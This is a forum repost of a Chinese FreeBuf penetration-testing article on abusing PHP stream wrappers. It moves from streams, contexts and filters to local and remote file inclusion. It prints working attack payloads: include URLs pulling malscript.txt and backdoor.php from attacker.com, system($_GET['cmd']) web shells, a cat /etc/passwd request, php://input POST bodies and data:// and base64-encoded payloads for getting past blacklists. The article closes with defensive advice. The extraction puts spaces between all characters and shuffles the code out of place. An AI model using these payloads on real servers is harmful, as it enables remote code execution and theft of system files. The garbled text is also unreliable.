搜索

[13699] 2019-01-26_渗透测试中PHPStreamWrappers的利用技巧

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2019-01-26_渗透测试中PHPStreamWrappers的利用技巧 渗 透 测 试 中 P H P   S t r e a m   W r a p p e r s 的 利 用 技 巧 s e c i s t   F r e e B u f   2 0 1 9 - 0 1 - 2 6 流 （ 流 （ S t r e a m s ） 这 个 概 念 是 在 ） 这 个 概 念 是 在 p h p 4 . 3 引 进 的 ， 是 对 流 式 数 据 的 抽 象 ， 用 于 统 一 数 据 操 作 ， 用 于 统 一 数 据 操 作 ， 比 引 进 的 ， 是 对 流 式 数 据 的 抽 象 ， 用 于 统 一 数 据 操 作 ， 用 于 统 一 数 据 操 作 ， 比 如 文 件 数 据 、 网 络 数 据 、 压 缩 数 据 等 。 简 单 点 讲 ， 流 就 是 表 现 出 流 式 数 据 行 为 的 资 源 对 象 。 在 本 文 中 ， 我 将 为 如 文 件 数 据 、 网 络 数 据 、 压 缩 数 据 等 。 简 单 点 讲 ， 流 就 是 表 现 出 流 式 数 据 行 为 的 资 源 对 象 。 在 本 文 中 ， 我 将 为 大 家 介 绍 一 些 大 家 介 绍 一 些 P H P   S t r e a m   W r a p p e r s 在 渗 透 测 试 中 的 利 用 技 巧 。 在 渗 透 测 试 中 的 利 用 技 巧 。 了 解 了 解   I T   中 的 流 中 的 流 当 不 同 的 介 质 之 间 有 数 据 交 互 的 时 候 ， 就 使 用 流 来 实 现 。 数 据 源 和 目 标 可 以 是 文 件 ， T C P / I P 或 U D P 网 络 连 接 ， 标 准 输 入 和 输 出 ， 文 件 服 务 器 上 的 文 件 传 输 或 文 件 存 档 过 程 。 即 使 这 些 流 看 起 来 彼 此 差 异 很 大 ， 但 它 们 却 有 一 个 共 同 的 线 程 ： 它 们 基 本 上 都 是 读 写 的 过 程 。 你 可 以 将 数 据 从 源 写 入 到 目 标 ， 也 可 以 将 从 源 读 取 的 数 据 传 输 到 目 标 。 大 致 过 程 如 下 ： 连 接 建 立 数 据 读 取 数 据 写 入 连 接 结 束 即 使 基 本 操 作 是 读 写 ， 也 需 要 执 行 其 他 操 作 才 能 访 问 W e b 服 务 器 或 存 档 文 件 ， 或 是 执 行 简 单 的 输 入 和 输 出 过 程 ， 以 及 通 过 T C P / I P 或 U D P 建 立 连 接 。 流 操 作 中 的 通 用 函 数 流 操 作 中 的 通 用 函 数 我 们 可 以 通 过 P H P 中 的 一 些 通 用 函 数 与 流 进 行 交 互 ： 在 P H P 中 ， 你 可 以 使 用 通 用 函 数 来 执 行 各 种 流 操 作 ， 而 无 需 使 用 单 独 的 函 数 ， 从 而 使 整 个 过 程 更 加 简 单 。 直 到 今 天 ， 这 些 函 数 仍 是 流 概 念 的 主 要 部 分 并 用 于 文 件 读 写 过 程 。 我 们 现 在 可 以 在 P H P 中 使 用 w r a p p e r （ 包 装 器 ） 来 f i l e o p e n f w r i t e f c l o s e f i l e _ g e t _ c o n t e n t s f i l e _ p u t _ c o n t e n t s
执 行 各 种 流 处 理 ， 例 如 H T T P ， F T P ， S O C K E T 进 程 和 标 准 输 入 / 输 出 进 程 。 如 果 要 使 用 流 ， 则 需 要 以 特 定 格 式 指 定 其 类 型 和 目 标 。 我 们 将 在 通 用 函 数 中 使 用 的 流 类 型 定 义 如 下 ： 占 位 符 用 于 指 定 我 们 将 使 用 的 流 类 型 ， 如 F i l e ， F T P ， P H P O U T P U T ， P H P I N P U T ， H T T P 或 S S L 。 如 果 你 是 P H P 程 序 员 ， 你 应 该 熟 悉 以 下 代 码 。 它 会 读 取 s o m e . t x t 文 件 并 打 印 其 内 容 。 在 代 码 中 ， 我 们 使 用 f i l e : / / s y s t e m   w r a p p e r 调 用 f o p e n 通 用 流 函 数 。 从 技 术 上 讲 ， 上 面 的 代 码 与 以 下 代 码 完 全 相 同 ： 由 于 流 函 数 中 的 默 认 包 装 器 是 f i l e : / / ， 因 此 如 果 要 使 用 它 ， 则 不 必 进 行 指 定 。 你 可 以 使 用 以 下 代 码 列 出 允 许 使 用 的 包 装 器 。 流 上 下 文 概 念 流 上 下 文 概 念 对 于 大 多 数 用 例 ， 流 函 数 的 默 认 用 法 可 能 已 经 足 够 。 但 是 在 某 些 情 况 下 ， 你 需 要 的 不 仅 仅 是 默 认 用 法 。 我 们 假 设 可 以 使 用 f i l e _ g e t _ c o n t e n t s 命 令 来 读 取 h t t p : / / w w w . e x a m p l e . c o m / n e w s . p h p 上 的 新 闻 。 但 是 ， 如 果 该 网 站 需 要 某 种 形 式 的 身 份 验 证 才 能 访 问 其 内 容 呢 ？ 在 这 种 情 况 下 ， 你 可 以 使 用 流 上 下 文 （ S t r e a m - C o n t e x t ） 规 范 使 用 可 选 参 数 自 定 义 流 行 为 。 以 下 是 一 段 流 上 下 文 的 示 例 代 码 ： 如 上 所 示 ， 流 上 下 文 实 际 上 是 一 个 数 组 。 上 面 的 键 值 表 示 将 在 上 下 文 中 使 用 的 包 装 器 类 型 （ 本 例 中 为 H T T P ） 。 每 个 包 装 器 都 有 各 自 的 上 下 文 参 数 。 你 可 以 在 P H P 文 档 中 阅 读 有 关 它 们 的 更 多 信 息 。 P H P   流 过 滤 器 流 过 滤 器 以 上 我 们 对 流 的 读 写 过 程 已 有 了 一 个 初 步 的 了 解 。 流 包 装 器 的 主 要 优 点 是 可 以 在 读 / 写 过 程 中 即 时 的 修 改 ， 更 改 或 删 除 数 据 。 < w r a p p e r > : / / < t a r g e t > < ? p h p $ h a n d l e   =   f o p e n ( " s o m e . t x t " , " r b " ) ; w h i l e ( f e o f ( $ h a n d l e ) ! = = t r u e )   {       e c h o   f g e t s ( $ h a n d l e ) ; } < ? p h p $ h a n d l e   =   f o p e n ( " f i l e : / / s o m e . t x t " , " r b " ) ; w h i l e ( f e o f ( $ h a n d l e ) ! = = t r u e )   {       e c h o   f g e t s ( $ h a n d l e ) ; } < ? p h p       p r i n t _ r ( s t r e a m _ g e t _ w r a p p e r s ( ) ) ; < ? p h p f i l e _ g e t _ c o n t e n t s ( “ h t t p : / / w w w . e x a m p l e . c o m / n e w s . p h p ” ) ; < ? p h p       $ p o s t d a t a   =   ' { " u s e r n a m e " : " z i y a h a n " } '       $ o p t s   =   a r r a y ( ' h t t p '   = >               a r r a y (                       ' m e t h o d '   = >   ' P O S T ' ,                       ' h e a d e r '   = >   ' C o n t e n t - t y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8 ; r n ' .                               ' C o n t e n t - L e n g t h :   ' . m b _ s t r l e n ( $ p o s t d a t a ) ,                       ' c o n t e n t '   = >   $ p o s t d a t a               )       ) ;       $ c o n t e x t   =   s t r e a m _ c o n t e x t _ c r e a t e ( $ o p t s ) ;       $ r e s p o n s e   =   f i l e _ g e t _ c o n t e n t s ( ' h t t p : / / w w w . e x a m p l e . c o m / n e w s . p h p ' ,   f a l s e ,       $ c o n t e x t ) ;
P H P 为 我 们 提 供 了 一 些 流 过 滤 器 （ s t r i n g . t o u p p e r ， s t r i n g . t o l o w e r ， s t r i n g . r o t 1 3 和 s t r i n g . s t r i p _ t a g s ） 。 除 此 之 外 ， 还 可 以 使 用 各 种 自 定 义 过 滤 器 。 我 们 可 以 使 用 s t r e a m _ a p p e n d _ f i l t e r 函 数 在 流 上 应 用 过 滤 器 。 例 如 ， 下 面 的 过 滤 器 会 将 所 有 读 取 的 句 子 转 换 为 大 写 ： 在 d a t a . t x t 中 读 取 的 信 息 将 以 大 写 形 式 显 示 在 屏 幕 上 。 你 还 可 以 使 用 p h p : / / f i l t e r   w r a p p e r 向 流 添 加 过 滤 器 ： 流 开 始 传 输 时 将 调 用 该 方 法 。 与 第 一 个 示 例 相 比 ， 该 方 法 对 于 之 后 不 允 许 过 滤 器 附 件 的 函 数 （ 如 f i l e ( ) 和 f p a s s t h r u ( ) ） 更 为 可 行 。 你 可 以 使 用 过 滤 器 进 行 编 码 （ r o t 1 3 ， b a s e 6 4 ） 或 文 件 压 缩 和 提 取 。 除 了 P H P 和 预 定 义 的 包 装 器 之 外 ， 你 还 可 以 使 用 第 三 方 包 装 器 （ 如 A m a z o n   S 3 或 D r o p b o x ） ， 并 为 特 定 操 作 编 写 自 定 义 包 装 器 。 在 此 之 前 我 们 给 出 的 示 例 属 于 本 地 文 件 包 含 （ L F I ） 类 目 ， 其 中 包 括 将 目 标 系 统 中 的 文 件 包 含 在 代 码 中 以 提 取 系 统 的 数 据 。 在 远 程 文 件 包 含 中 在 远 程 文 件 包 含 中   P H P   W r a p p e r s   的 使 用 的 使 用 除 了 L F I 之 外 ， 还 可 以 远 程 向 W e b 应 用 注 入 代 码 ， 即 远 程 文 件 包 含 （ R F I ） 。 以 下 是 一 段 示 例 代 码 ： 使 用 这 段 代 码 ， 你 可 以 使 用 链 接 浏 览 网 站 ， 例 如 w w w . e x a m p l e . c o m / ? g o = c o n t a c t 和 w w w . e x a m p l e . c o m / ? g o = p r o d u c t s 。 但 是 ， 这 段 代 码 有 一 个 根 本 的 缺 陷 。 假 设 在 远 处 的 某 个 服 务 器 中 有 一 个 名 为 m a l s c r i p t . t x t 的 文 件 ， 该 文 件 包 含 以 下 代 码 ： 这 是 包 含 以 上 代 码 文 件 的 U R L ： h t t p : / / w w w . a t t a c k e r . c o m / m a l s c r i p t . t x t 然 后 ， 攻 击 者 将 调 用 以 下 U R L 加 载 该 恶 意 脚 本 。 开 发 人 员 添 加 的 . p h p 扩 展 名 在 此 示 例 中 显 示 为 b a r r i e r （ 屏 障 ） 。 在 R F I 攻 击 中 ， 想 要 绕 过 它 非 常 的 容 易 。 这 是 攻 击 者 提 供 的 U R L ： h t t p : / / w w w . a t t a c k e r . c o m / m a l s c r i p t . t x t ? q = 。 这 是 攻 击 者 为 了 执 行 攻 击 而 需 要 访 问 的 完 整 < ? p h p       $ h a n d l e   =   f o p e n ( ' f i l e : / / d a t a . t x t ' , ' r b ' ) ;       s t r e a m _ f i l t e r _ a p p e n d ( $ h a n d l e ,   ' s t r i n g . t o u p p e r ' ) ;       w h i l e ( f e o f ( $ h a n d l e ) ! = = t r u e )   {               e c h o   f g e t s ( $ h a n d l e ) ;       }       f c l o s e ( $ h a n d l e ) ; < ? p h p       $ h a n d l e   =   f o p e n ( ' p h p : / / f i l t e r / r e a d = s t r i n g . t o u p p e r / r e s o u r c e = d a t a . t x t ' , ' r b ' ) ;       w h i l e ( f e o f ( $ h a n d l e ) ! = = t r u e )   {               e c h o   f g e t s ( $ h a n d l e ) ;       }       f c l o s e ( $ h a n d l e ) ; < ? p h p       i n c l u d e ( $ _ G E T [ “ g o ” ] . ” . p h p ” ) ; < ? p h p       p h p i n f o ( ) ; w w w . e x a m p l e . c o m / ? g o = h t t p % 3 A % 2 F % 2 F w w w . a t t a c k e r . c o m % 2 F m a l s c r i p t . t x t < ? p h p       i n c l u d e ( “ h t t p : / / w w w . a t t a c k e r . c o m / m a l s c r i p t . t x t . p h p ” ) ;
U R L ： 使 用 攻 击 U R L 中 的 “ ? q = ” 字 符 绕 过 . p h p   b a r r i e r 。 这 只 是 一 个 例 子 ， 在 多 数 情 况 下 你 可 以 使 用 适 当 的 扩 展 名 托 管 文 件 。 这 个 技 巧 对 于 服 务 器 端 请 求 伪 造 攻 击 （ C S R F ） 也 非 常 有 用 。 . t x t 文 件 从 远 程 服 务 器 被 注 入 到 P H P 函 数 中 ， 文 本 文 件 中 的 代 码 将 作 为 网 站 代 码 的 一 部 分 被 执 行 。 p h p i n f o ( ) 函 数 将 为 我 们 显 示 服 务 器 的 敏 感 信 息 。 在 该 示 例 当 中 ， 我 们 仅 仅 只 是 读 取 了 服 务 器 的 信 息 。 如 果 我 们 将 其 中 的 代 码 更 改 为 其 它 P H P 命 令 又 会 发 生 什 么 呢 ？ 如 下 所 示 ： 可 以 看 到 ， 现 在 我 们 可 以 利 用 R F I 执 行 系 统 命 令 了 。 此 代 码 允 许 攻 击 者 通 过 将 其 作 为 G E T 参 数 提 供 ， 来 执 行 他 们 想 要 执 行 的 任 何 命 令 ： 我 们 再 次 使 用 与 前 面 示 例 相 同 的 脚 本 U R L ： h t t p : / / w w w . a t t a c k e r . c o m / m a l s c r i p t . t x t ? q = 。 但 这 次 我 们 可 以 提 供 一 个 系 统 命 令 作 为 C M D 的 G E T 参 数 ： 此 时 ， 服 务 器 可 以 根 据 攻 击 者 的 请 求 运 行 各 种 命 令 。 如 果 无 法 使 用 查 询 字 符 串 覆 盖   . p h p   e x t e n s i o n   b a r r i e r ， 则 可 以 使 用 该 扩 展 名 。 你 需 要 为 此 创 建 一 个 P H P 文 件 ， 并 在 将 其 上 传 到 服 务 器 之 前 包 含 以 下 代 码 。 以 下 是 b a c k d o o r . p h p 文 件 中 的 内 容 ： 因 此 ， 攻 击 者 需 要 提 供 的 新 链 接 为 ： h t t p : / / w w w . a t t a c k e r . c o m / b a c k d o o r 。 这 是 攻 击 者 为 了 执 行 攻 击 而 需 要 访 问 的 链 接 ： P H P 将 执 行 此 代 码 ： 使 用 使 用   S t r e a m   W r a p p e r s   绕 过 黑 名 单 列 表 绕 过 黑 名 单 列 表 如 果 开 发 人 员 开 始 采 取 防 御 措 施 并 过 滤 掉 了 一 些 输 入 ， 那 么 我 们 又 该 怎 么 办 ？ 例 如 ， 不 允 许 在 参 数 中 使 用 h t t p : / / 。 其 实 解 决 方 案 很 简 单 ， 你 可 以 使 用 其 他 选 项 ， 例 如 p h p : / / i n p u t   w r a p p e r ， 而 不 是 已 过 滤 的 h t t p : / /   w r a p p e r 。 在 利 用 R F I 漏 洞 时 ， 如 何 使 用 包 装 器 来 获 取 P O S T 请 求 主 体 的 输 入 并 将 其 发 送 给 P H P 编 译 器 呢 ？ 以 下 是 一 个 请 求 示 例 ： w w w . e x a m p l e . c o m / ? g o = h t t p % 3 A % 2 F % 2 F w w w . a t t a c k e r . c o m % 2 F m a l s c r i p t . t x t % 3 F q % 3 D < ? p h p       i n c l u d e ( “ h t t p : / / w w w . a t t a c k e r . c o m / m a l s c r i p t . t x t ? q = . p h p ” ) ; < ? p h p       s y s t e m ( “ u n a m e   - a ” ) < ? p h p       s y s t e m ( $ _ G E T [ “ c m d ” ] ) ; w w w . e x a m p l e . c o m / ? c m d = u n a m e + - a & g o = h t t p % 3 A % 2 F % 2 F w w w . a t t a c k e r . c o m % 2 F m a l s c r i p t . t x t ? q = < ? p h p       e c h o   ' < ? p h p   s y s t e m ( $ _ G E T [ " c m d " ] ) ; ? > ' ; h t t p : / / e x a m p l e . c o m / ? c m d = c a t % 2 0 / e t c / p a s s w d & g o = h t t p % 3 A % 2 F % 2 F w w w . a t t a c k e r . c o m % 2 F b a c k d o o r < ? p h p       i n c l u d e ( “ h t t p : / / w w w . a t t a c k e r . c o m / b a c k d o o r . p h p ” ) ;
如 上 所 示 ， 即 使 过 滤 掉 了 h t t p : / / 和 f i l e : / /   w r a p p e r ， 我 们 仍 然 可 以 使 用 p h p : / / i n p u t   w r a p p e r 来 利 用 此 漏 洞 。 即 使 开 发 人 员 将 p h p : / /   w r a p p e r 和 允 许 系 统 级 命 令 执 行 的 其 他 P H P 命 令 （ 如 s y s t e m ， c m d ） 列 入 黑 名 单 ， 我 们 仍 然 有 办 法 覆 盖 b a r r i e r s 。 在 这 种 情 况 下 ， 我 们 可 以 使 用 d a t a : / /   w r a p p e r ， 其 作 用 是 将 传 递 给 它 的 输 入 作 为 类 型 和 值 传 递 给 P H P 流 函 数 。 以 上 的 代 码 为 ： 如 果 允 许 使 用 d a t a : / /   w r a p p e r ， 攻 击 者 只 需 使 用 以 下 代 码 而 无 需 托 管 外 部 文 件 ： 这 是 最 终 请 求 的 U R L 编 码 版 本 ： 使 用 c m d 参 数 ， 任 何 代 码 请 求 都 将 被 执 行 。 例 如 ， 想 要 获 取 系 统 信 息 ， 可 以 使 用 u n a m e   - a 命 令 ， 但 必 须 先 对 其 进 行 编 码 。 用 于 攻 击 的 U R L ： 前 面 我 们 已 经 假 设 开 发 人 员 将 s y s t e m 和 c m d 等 关 键 字 列 入 了 黑 名 单 中 。 那 么 ， 我 们 有 什 么 可 以 代 替 的 解 决 方 案 呢 ？ 幸 运 的 是 d a t a : / /   w r a p p e r 支 持 b a s e 6 4 和 r o t 1 3 编 码 。 因 此 ， 你 必 须 对 将 用 于 利 用 b a s e 6 4 中 漏 洞 的 P H P 代 码 进 行 编 码 ， 并 发 出 以 下 请 求 ： 这 是 漏 洞 利 用 的 b a s e 6 4 编 码 版 本 。 P H P 将 对 其 进 行 解 码 并 执 行 。 你 将 发 出 请 求 的 U R L ： g o 参 数 下 的 脚 本 代 码 （ b a s e 6 4 编 码 ） 已 经 准 备 好 使 用 “ c m d ” 参 数 在 操 作 系 统 级 别 执 行 命 令 。 总 结 总 结 在 本 文 中 ， 我 为 大 家 介 绍 了 一 些 P H P   S t r e a m   W r a p p e r s 在 渗 透 测 试 中 的 利 用 技 巧 ， 以 及 让 大 家 对 此 有 了 更 为 深 入 的 了 解 。 这 些 包 装 器 也 可 以 用 来 绕 过 某 些 安 全 过 滤 器 。 正 如 上 面 例 子 中 所 说 的 那 样 ， 由 于 攻 击 范 围 不 断 增 加 ， 使 用 黑 名 单 几 乎 已 不 可 能 确 保 安 全 性 。 将 接 收 的 函 数 和 文 本 输 入 列 入 白 名 单 而 不 是 将 关 键 字 （ 如 h t t p : / / ， f i l e : / / ， p h p : / / ， s y s t e m 和 c m d ） 列 入 黑 名 单 ， 并 在 每 次 发 现 新 的 攻 击 媒 介 时 及 时 的 更 新 它 们 将 更 为 有 效 。 可 以 说 ， 效 率 是 保 护 W e b 应 用 程 序 安 全 性 的 关 键 。 P O S T   h t t p : / / w w w . e x a m p l e . c o m ? g o = p h p : / / i n p u t % 0 0   H T T P / 1 . 1 H o s t :   e x a m p l e . c o m C o n t e n t - L e n g t h :   3 0 < ? p h p   s y s t e m ( $ _ G E T [ " c m d " ] ) ;   ? > < ? p h p   & n b s p ;   s y s t e m ( $ _ G E T [ “ c m d ” ] ) ; d a t a : / / t e x t / p l a i n ,   < ? p h p   s y s t e m ( $ _ G E T [ " c m d " ] ) ; d a t a % 3 a % 2 f % 2 f t e x t % 2 f p l a i n % 2 c + % 3 c % 3 f p h p + s y s t e m ( % 2 4 _ G E T % 5 b % 2 2 c m d % 2 2 % 5 d ) % 3 b + % 3 f % 3 e h t t p : / / w w w . e x a m p l e . c o m / ? g o = d a t a % 3 a % 2 f % 2 f t e x t % 2 f p l a i n % 2 c + % 3 c % 3 f p h p + s y s t e m ( % 2 4 _ G E T % 5 b % 2 2 c m d % 2 2 % 5 d ) % 3 b + % 3 f % 3 e h t t p : / / w w w . e x a m p l e . c o m / ? c m d = u n a m e + - a & g o = d a t a % 3 a % 2 f % 2 f t e x t % 2 f p l a i n % 2 c + < % 3 f p h p + s y s t e m ( % 2 4 _ G E T % 5 b " c m d " % 5 d ) % 3 b + % 3 f > P H P   c o d e : < ? p h p       s y s t e m ( $ _ G E T [ “ c m d ” ] ) ; P D 9 w a H A N C n N 5 c 3 R l b S g k X 0 d F V F s i Y 2 1 k I l 0 p O w 0 K P z 4 = h t t p : / / w w w . e x a m p l e . c o m / ? c m d = u n a m e + - a & g o = d a t a : / / t e x t / p l a i n ; b a s e 6 4 , P D 9 w a H A N C n N 5 c 3 R l b S g k X 0 d F V F s i Y 2 1 k I l 0 p O w 0 K P z 4 =
除 此 之 外 ， 你 还 可 以 禁 用 远 程 文 件 包 含 功 能 ， 并 且 永 远 不 要 让 用 户 在 可 能 实 现 远 程 文 件 包 含 和 执 行 代 码 的 函 数 中 控 制 输 入 ， 例 如 r e q u i r e ， i n c l u d e ， r e q u i r e _ o n c e ， i n c l u d e _ o n c e 等 。 * 参 考 来 源 ： n e t s p a r k e r ， F B 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理